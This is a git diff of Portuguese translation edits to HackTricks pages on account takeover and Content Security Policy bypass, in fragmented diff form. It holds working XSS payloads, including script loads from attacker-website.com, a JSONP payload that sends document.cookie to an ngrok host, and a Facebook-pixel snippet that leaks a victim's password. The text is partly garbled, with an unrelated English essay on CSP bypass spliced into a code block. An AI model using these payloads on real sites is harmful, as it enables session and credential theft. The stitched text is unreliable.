||||
Se a página contiver **configurações CORS incorretas**, você pode ser capaz de **roubar informações sensíveis** do usuário para **assumir sua conta** ou fazer com que ele altere informações de autenticação para o mesmo propósito:
|
||||
|
||||
{% content-ref url="cors-bypass.md" %}
|
||||
[cors-bypass.md](cors-bypass.md)
|
||||
|
@ -78,7 +87,7 @@ Se você encontrar um XSS limitado ou assumir um subdomínio, você pode brincar
|
|||
|
||||
## **Manipulação de Resposta**
|
||||
|
||||
Se a resposta de autenticação puder ser **reduzida a um simples booleano, tente alterar false para true** e veja se obtém algum acesso.
|
||||
Se a resposta de autenticação puder ser **reduzida para um simples booleano, tente alterar false para true** e veja se obtém algum acesso.
|
||||
|
||||
## OAuth para Assumir o Controle da Conta
|
||||
|
||||
|
@ -88,7 +97,7 @@ Se a resposta de autenticação puder ser **reduzida a um simples booleano, tent
|
|||
|
||||
## Injeção de Cabeçalho de Host
|
||||
|
||||
1. O cabeçalho Host é modificado após a iniciação de uma solicitação de redefinição de senha.
|
||||
1. O cabeçalho Host é modificado seguindo uma solicitação de redefinição de senha.
|
||||
2. O cabeçalho de proxy `X-Forwarded-For` é alterado para `attacker.com`.
|
||||
3. Os cabeçalhos Host, Referrer e Origin são alterados simultaneamente para `attacker.com`.
|
||||
4. Após iniciar uma redefinição de senha e optar por reenviar o e-mail, todos os três métodos mencionados acima são empregados.
|
||||
|
@ -100,20 +109,25 @@ Se a resposta de autenticação puder ser **reduzida a um simples booleano, tent
|
|||
* O código de status é alterado para `200 OK`.
|
||||
* O corpo da resposta é modificado para `{"success":true}` ou um objeto vazio `{}`.
|
||||
|
||||
Essas técnicas de manipulação são eficazes em cenários onde JSON é utilizado para transmissão e recebimento de dados.
|
||||
Essas técnicas de manipulação são eficazes em cenários onde o JSON é utilizado para transmissão e recebimento de dados.
|
||||
|
||||
## Alterar o e-mail da sessão atual
|
||||
|
||||
De [este relatório](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):
|
||||
De acordo com [este relatório](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):
|
||||
|
||||
* Atacante solicita alterar seu e-mail por um novo
|
||||
* Atacante recebe um link para confirmar a alteração do e-mail
|
||||
* Atacante envia o link para a vítima clicar
|
||||
* O atacante solicita alterar seu e-mail por um novo
|
||||
* O atacante recebe um link para confirmar a alteração do e-mail
|
||||
* O atacante envia o link para a vítima, que o clica
|
||||
* O e-mail da vítima é alterado para o indicado pelo atacante
|
||||
* O ataque pode recuperar a senha e assumir a conta
|
||||
|
||||
Isso também aconteceu em [**este relatório**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea).
|
||||
|
||||
### Cookies Antigos
|
||||
|
||||
Conforme explicado [**neste post**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9), foi possível fazer login em uma conta, salvar os cookies como usuário autenticado, sair e depois fazer login novamente.\
|
||||
Com o novo login, embora diferentes cookies possam ser gerados, os antigos voltaram a funcionar.
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)
|
||||
|
@ -126,9 +140,8 @@ Isso também aconteceu em [**este relatório**](https://dynnyd20.medium.com/one-
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,7 +10,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -25,13 +25,13 @@ Envolver-se com conteúdo que explora a emoção e os desafios do hacking
|
|||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
## O que é CSP
|
||||
|
||||
A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como scripting entre sites (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir dos quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.
|
||||
A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como scripting entre sites (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.
|
||||
|
||||
A implementação do CSP é realizada por meio de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
|
||||
|
||||
|
@ -89,7 +89,7 @@ object-src 'none';
|
|||
|
||||
### Fontes
|
||||
|
||||
* `*`: Permite todos os URLs, exceto aqueles com esquemas `data:`, `blob:`, `filesystem:`.
|
||||
* `*`: Permite todos os URLs, exceto aqueles com os esquemas `data:`, `blob:`, `filesystem:`.
|
||||
* `'self'`: Permite o carregamento do mesmo domínio.
|
||||
* `'data'`: Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).
|
||||
* `'none'`: Bloqueia o carregamento de qualquer fonte.
|
||||
|
@ -114,7 +114,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Lista branca de scripts com um hash sha256 específico.
|
||||
* `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido listado na lista branca por um nonce ou hash.
|
||||
* `'strict-dynamic'`: Permite carregar scripts de qualquer origem se tiver sido listado na lista branca por um nonce ou hash.
|
||||
* `'host'`: Especifica um host específico, como `example.com`.
|
||||
* `https:`: Restringe URLs para aquelas que usam HTTPS.
|
||||
* `blob:`: Permite que recursos sejam carregados a partir de URLs de Blob (por exemplo, URLs de Blob criadas via JavaScript).
|
||||
|
@ -130,7 +130,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
Working payload: `"/><script>alert(1);</script>`
|
||||
Trabalhando payload: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' via Iframes
|
||||
|
||||
|
@ -146,7 +146,7 @@ Isso não está funcionando, para mais informações [**verifique isso**](https:
|
|||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
Carga de trabalho funcional:
|
||||
Carga de trabalho em funcionamento:
|
||||
```html
|
||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||
```
|
||||
|
@ -158,7 +158,7 @@ Se você de alguma forma conseguir fazer com que um **código JS permitido crie
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Carga de trabalho funcional:
|
||||
Carga de trabalho em funcionamento:
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
|
@ -187,9 +187,9 @@ Payload de trabalho:
|
|||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo específico de arquivos**.
|
||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo específico de arquivo**.
|
||||
|
||||
Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
|
||||
Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, de um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
|
||||
|
||||
A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
|
@ -197,10 +197,10 @@ A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir enc
|
|||
|
||||
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que os gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
|
||||
|
||||
### Pontos de Extremidade de Terceiros + ('unsafe-eval')
|
||||
### Pontos Finais de Terceiros + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
Para alguns dos payloads a seguir, **`unsafe-eval` nem sequer é necessário**.
|
||||
Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**.
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
|
@ -264,7 +264,7 @@ O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cl
|
|||
```
|
||||
#### Explorando o código JS do Google reCAPTCHA
|
||||
|
||||
De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário, burlando o CSP:
|
||||
De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário, burlando a CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
@ -290,19 +290,19 @@ b=doc.createElement("script");
|
|||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
#### Abusando de www.google.com para redirecionamento aberto
|
||||
#### Abusando do www.google.com para redirecionamento aberto
|
||||
|
||||
A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
### Endpoints de Terceiros + JSONP
|
||||
### Terceiros Endpoints + JSONP
|
||||
|
||||
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Cenários como este em que `script-src` é definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os pontos finais JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
|
||||
Cenários como este, onde `script-src` é definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os pontos finais JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -341,37 +341,29 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
|
||||
## Introduction
|
||||
|
||||
Content Security Policy (CSP) is an added layer of security that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it can be bypassed using various techniques.
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a particular page. However, there are ways to bypass CSP protections and execute malicious code on a website.
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
### 1. **Unsafe Inline Scripts**
|
||||
### 1. Inline Script Execution
|
||||
|
||||
By allowing inline scripts using `'unsafe-inline'`, an attacker can execute arbitrary code inline, bypassing the CSP protection.
|
||||
One common way to bypass CSP is by executing inline scripts. By using techniques such as dynamic script injection or event handlers, an attacker can execute arbitrary code within the context of a page, even if CSP is in place.
|
||||
|
||||
### 2. **Unsafe Eval**
|
||||
### 2. External Script Execution
|
||||
|
||||
Enabling `'unsafe-eval'` allows an attacker to execute dynamic code using functions like `eval()`, which can also bypass CSP restrictions.
|
||||
Another technique involves loading external scripts from whitelisted domains. If a website allows loading scripts from a specific domain, an attacker can host malicious code on that domain and execute it on the target website.
|
||||
|
||||
### 3. **Data Protocol**
|
||||
### 3. Data: Protocol
|
||||
|
||||
Using the `data:` protocol, an attacker can execute scripts by converting them to Base64 and embedding them within the HTML, bypassing CSP.
|
||||
|
||||
### 4. **Meta Tag**
|
||||
|
||||
By injecting a `<meta>` tag with an `http-equiv` attribute set to `Content-Security-Policy`, an attacker can override the existing CSP directives.
|
||||
|
||||
### 5. **Script Gadgets**
|
||||
|
||||
Using script gadgets like `document.write()` or `setTimeout()`, an attacker can dynamically create and execute scripts, bypassing CSP restrictions.
|
||||
Using the `data:` protocol is another way to bypass CSP restrictions. By encoding the malicious script in Base64 and using the `data:text/javascript;base64,` prefix, an attacker can execute the script within the page.
|
||||
|
||||
## Conclusion
|
||||
|
||||
While Content Security Policy is a powerful security measure, it is essential to be aware of these bypass techniques to ensure robust protection against attacks.
|
||||
While Content Security Policy is a powerful security measure to protect web applications from various attacks, it is important to understand the potential bypass techniques that attackers can use to circumvent CSP protections. Web developers should carefully configure their CSP policies and regularly test them to ensure they are effectively mitigating security risks.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
|
||||
Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com o [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
|
||||
|
||||
1. Crie uma conta de desenvolvedor no Facebook aqui.
|
||||
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
|
||||
|
@ -380,18 +372,16 @@ Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [
|
|||
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione a aplicação que criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Selecione a aba "Eventos de Teste" para ver os eventos enviados pelo site "seu".
|
||||
|
||||
Em seguida, do lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para a conta de desenvolvedor do Facebook do atacante com o ID do aplicativo e emitir um evento personalizado como este:
|
||||
Em seguida, do lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, há muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicações adicionais sobre outros abusos de terceiros.
|
||||
### Bypass através de RPO (Sobrescrita de Caminho Relativo) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Além da mencionada redireção para contornar restrições de caminho, há outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
|
||||
Além das redirecionamentos mencionados para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.
|
||||
|
||||
Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
|
||||
```html
|
||||
|
@ -457,7 +447,7 @@ Outros pontos de execução arbitrária JSONP podem ser encontrados [**aqui**](h
|
|||
|
||||
O que acontece quando CSP encontra uma redireção do lado do servidor? Se a redireção levar a uma origem diferente que não é permitida, ela ainda falhará.
|
||||
|
||||
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se a redireção levar a um caminho diferente, ela pode burlar as restrições originais.
|
||||
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se a redireção levar a um caminho diferente, ela pode contornar as restrições originais.
|
||||
|
||||
Aqui está um exemplo:
|
||||
```html
|
||||
|
@ -595,13 +585,13 @@ run();
|
|||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
||||
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
||||
|
||||
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Bypass de CSP restringindo CSP
|
||||
|
||||
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado injetando em um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
|
||||
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
||||
|
||||
|
@ -611,8 +601,8 @@ Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível através de **injeção de HTML** **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
|
||||
CSP pode ser tornada mais restritiva usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
|
||||
No [**writeup deste CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível através de **injeção de HTML** **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
|
||||
CSP pode ser tornado mais restritivo usando **meta tags HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
@ -621,9 +611,9 @@ CSP pode ser tornada mais restritiva usando **tags meta HTML** e scripts inline
|
|||
```
|
||||
### Exfiltração de JS com Content-Security-Policy-Report-Only
|
||||
|
||||
Se você conseguir fazer com que o servidor responda com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você poderia fazer com que ele aponte para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e porque é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **disparar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
|
||||
Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você poderia fazer com que ele apontasse para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e porque é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **disparar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir do `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Por exemplo, [**verifique este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
Para um exemplo [**verifique este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
|
@ -641,7 +631,7 @@ Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secret
|
|||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Monitorando quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir os caracteres possíveis no subdomínio secreto, eventualmente descobrindo a URL completa.
|
||||
Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir as possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa.
|
||||
|
||||
Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.
|
||||
|
||||
|
@ -652,10 +642,10 @@ Truque de [**aqui**](https://ctftime.org/writeup/29310).
|
|||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Interaja com conteúdo que mergulha na emoção e desafios do hacking
|
||||
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
@ -664,10 +654,14 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
|||
|
||||
## Tecnologias Inseguras para Bypass CSP
|
||||
|
||||
### Sobrecarga de buffer de resposta PHP
|
||||
### Erros PHP ao ter muitos parâmetros
|
||||
|
||||
De acordo com a [**última técnica comentada neste vídeo**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar muitos parâmetros (1001 parâmetros GET, embora também seja possível com parâmetros POST e mais de 20 arquivos). Qualquer **`header()`** definido no código web PHP **não será enviado** por causa do erro que isso irá desencadear.
|
||||
|
||||
### Sobrecarga do buffer de resposta PHP
|
||||
|
||||
O PHP é conhecido por **armazenar em buffer a resposta para 4096** bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
|
||||
Assim, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
|
||||
Então, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
|
||||
|
||||
Ideia de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
|
@ -682,7 +676,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e depois atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
|
||||
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem**. Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
|
@ -695,7 +689,7 @@ Para mais informações sobre como realizar esse ataque, consulte [https://octag
|
|||
|
||||
## Bypasses de Exfiltração de CSP
|
||||
|
||||
Se houver um CSP estrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
|
||||
